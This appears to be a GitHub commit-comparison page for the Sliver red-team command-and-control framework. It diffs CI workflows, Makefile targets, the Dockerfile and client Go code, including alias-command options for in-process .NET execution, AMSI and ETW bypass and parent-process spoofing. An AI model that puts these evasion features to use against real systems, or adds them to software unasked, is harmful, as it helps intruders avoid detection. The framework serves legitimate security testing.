Compare commits

..
Author SHA1 Message Date
rkervella 0aee9644e1 Add missing Stderr 2022-07-13 07:38:58 -07:00
5027 changed files with 1260801 additions and 2208693 deletions

No files matched your search

-1
View File
@@ -1 +0,0 @@
* @BishopFox/red-team
+1 -1
View File
@@ -5,4 +5,4 @@ queries:
uses: security-extended
paths:
- server
- client
- implant
-16
View File
@@ -1,16 +0,0 @@
# Basic set up for three package managers
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Maintain dependencies for go
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
+112 -107
View File
@@ -3,58 +3,60 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
branches: [master, goreleaser]
jobs:
linux-windows-build:
name: Linux & Windows Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.20
uses: actions/setup-go@v3
with:
go-version: "1.20.1"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.18'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v2
with:
name: linux
path: ./sliver-*
- name: Linux Artifacts
uses: actions/upload-artifact@v3
with:
name: linux
path: ./sliver-*
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v3
with:
name: windows
path: ./sliver-*
- name: Windows Artifacts
uses: actions/upload-artifact@v2
with:
name: windows
path: ./sliver-*
macos-build:
name: MacOS Build
@@ -62,40 +64,42 @@ jobs:
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.20
uses: actions/setup-go@v3
with:
go-version: "^1.20"
- name: Mingw
run: brew install mingw-w64
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.18'
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Mingw
run: brew install mingw-w64
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: Go Assets
run: ./go-assets.sh
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: MacOS Artifacts
uses: actions/upload-artifact@v3
with:
name: macos
path: ./sliver-*
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
with:
name: macos
path: ./sliver-*
tagged-release:
needs: [linux-windows-build, macos-build]
name: "Tagged Release"
@@ -104,52 +108,53 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./builds
- run: mkdir -p ./builds
- uses: actions/download-artifact@v2
with:
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
+29 -11
View File
@@ -4,25 +4,26 @@ on:
push:
branches:
- test/*
pull_request:
branches:
- master
# pull_request:
# branches:
# - master
jobs:
CodeQL-Build:
name: CodeQL Security Scan
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
runs-on: ubuntu-latest
timeout-minutes: 90
timeout-minutes: 45
steps:
# Setup go environment
- name: Go 1.20
uses: actions/setup-go@v3
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: "^1.20"
go-version: "^1.18"
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v2
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -36,15 +37,32 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v3
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
uses: github/codeql-action/init@v1
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
@@ -54,6 +72,6 @@ jobs:
make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2
uses: github/codeql-action/analyze@v1
env:
VERSION: ${{github.sha}}
+47 -41
View File
@@ -1,5 +1,8 @@
name: Build & Test
on:
push:
branches:
- test/*
pull_request:
branches:
- master
@@ -10,67 +13,70 @@ on:
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.20
uses: actions/setup-go@v3
with:
go-version: "^1.20"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.18'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make linux
- name: Make
run: make linux
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.20
uses: actions/setup-go@v3
with:
go-version: "^1.20"
- name: Mingw
run: brew install mingw-w64
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.18'
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Mingw
run: brew install mingw-w64
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make macos
- name: Go Assets
run: ./go-assets.sh
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make
run: make macos
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
-3
View File
@@ -42,6 +42,3 @@ sliver-server-windows.zip
.DS_Store
dist/
# Flag to show that go-assets.sh has been run
.downloaded_assets
+6 -5
View File
@@ -1,4 +1,4 @@
FROM golang:1.20.1
FROM golang:1.18.3
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,7 +6,7 @@ FROM golang:1.20.1
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 21.12
ENV PROTOC_VER 3.19.4
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
@@ -52,10 +52,11 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all \
&& ./go-assets.sh
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
+7 -32
View File
@@ -5,7 +5,7 @@
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
@@ -47,15 +47,6 @@ LDFLAGS = -ldflags "-s -w \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
# Debug builds can't be stripped (-s -w flags)
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
SED_INPLACE := sed -i
STATIC_TARGET := linux
@@ -108,42 +99,36 @@ ifeq ($(MAKECMDGOALS), linux)
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif
ifeq ($(MAKECMDGOALS), linux-arm64)
# Redefine TAGS/ENV to use pure go sqlite3
TAGS = -tags osusergo,netgo,gosqlite
ENV = CGO_ENABLED=0
endif
#
# Targets
#
.PHONY: default
default: clean .downloaded_assets validate-go-version
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos
macos: clean .downloaded_assets validate-go-version
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos-arm64
macos-arm64: clean .downloaded_assets validate-go-version
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux
linux: clean .downloaded_assets validate-go-version
linux: clean validate-go-version
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux-arm64
linux-arm64: clean .downloaded_assets validate-go-version
linux-arm64: clean validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean .downloaded_assets validate-go-version
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
@@ -155,11 +140,6 @@ pb:
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
.PHONY: debug
debug: clean
$(ENV) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
validate-go-version:
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
exit 0 ;\
@@ -178,12 +158,7 @@ clean-all: clean
rm -rf ./server/assets/fs/windows/amd64
rm -rf ./server/assets/fs/linux/amd64
rm -f ./server/assets/fs/*.zip
rm -f ./.downloaded_assets
.PHONY: clean
clean:
rm -f sliver-client sliver-server sliver-*.exe
.downloaded_assets:
./go-assets.sh
touch ./.downloaded_assets
+1 -1
View File
@@ -5,7 +5,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
### Features
+1 -1
View File
@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
### Reporting a Vulnerability
Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).
Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
-2
View File
@@ -35,7 +35,6 @@ type ClientSettings struct {
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode"`
}
// LoadSettings - Load the client settings from disk
@@ -60,7 +59,6 @@ func defaultSettings() *ClientSettings {
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
VimMode: false,
}
}
+13 -55
View File
@@ -22,12 +22,12 @@ import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -141,7 +141,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
}
// parse it
data, err := os.ReadFile(manifestPath)
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
@@ -177,15 +177,8 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("i", "in-process", false, "Run in the current sliver process")
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -279,31 +272,6 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processArgsStr := ctx.Flags.String("process-arguments")
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
// we're alerting the user that the arguments will be truncated.
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
msgStr := ""
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
// if the flag is not registered.
if aliasManifest.IsAssembly {
if !ctx.Flags.Bool("in-process") {
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
}
} else if !aliasManifest.IsReflective {
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
}
con.PrintWarnf(msgStr)
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
processArgs := strings.Split(processArgsStr, " ")
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
@@ -316,7 +284,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
isDLL = true
}
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -324,7 +292,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFilePath, err = os.CreateTemp("", outFile)
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -338,21 +306,15 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
InProcess: ctx.Flags.Bool("in-process"),
Runtime: ctx.Flags.String("runtime"),
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
EtwBypass: ctx.Flags.Bool("etw-bypass"),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
@@ -388,8 +350,6 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
Kill: true,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
@@ -426,8 +386,6 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
+38 -9
View File
@@ -109,8 +109,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -120,7 +119,6 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
@@ -143,10 +141,42 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
color = console.Green
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
} else {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
}
// We need a slice of strings so we can apply filters
var rowEntries []string
if wideTermWidth {
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -156,9 +186,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
}
} else {
rowEntries = []string{
@@ -167,8 +196,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
next,
}
}
// Build the row struct
+1 -1
View File
@@ -57,7 +57,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func waitForInput() <-chan bool {
done := make(chan bool, 1)
done := make(chan bool)
go func() {
defer close(done)
fmt.Scanf("\n")
-71
View File
@@ -1,71 +0,0 @@
package builders
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
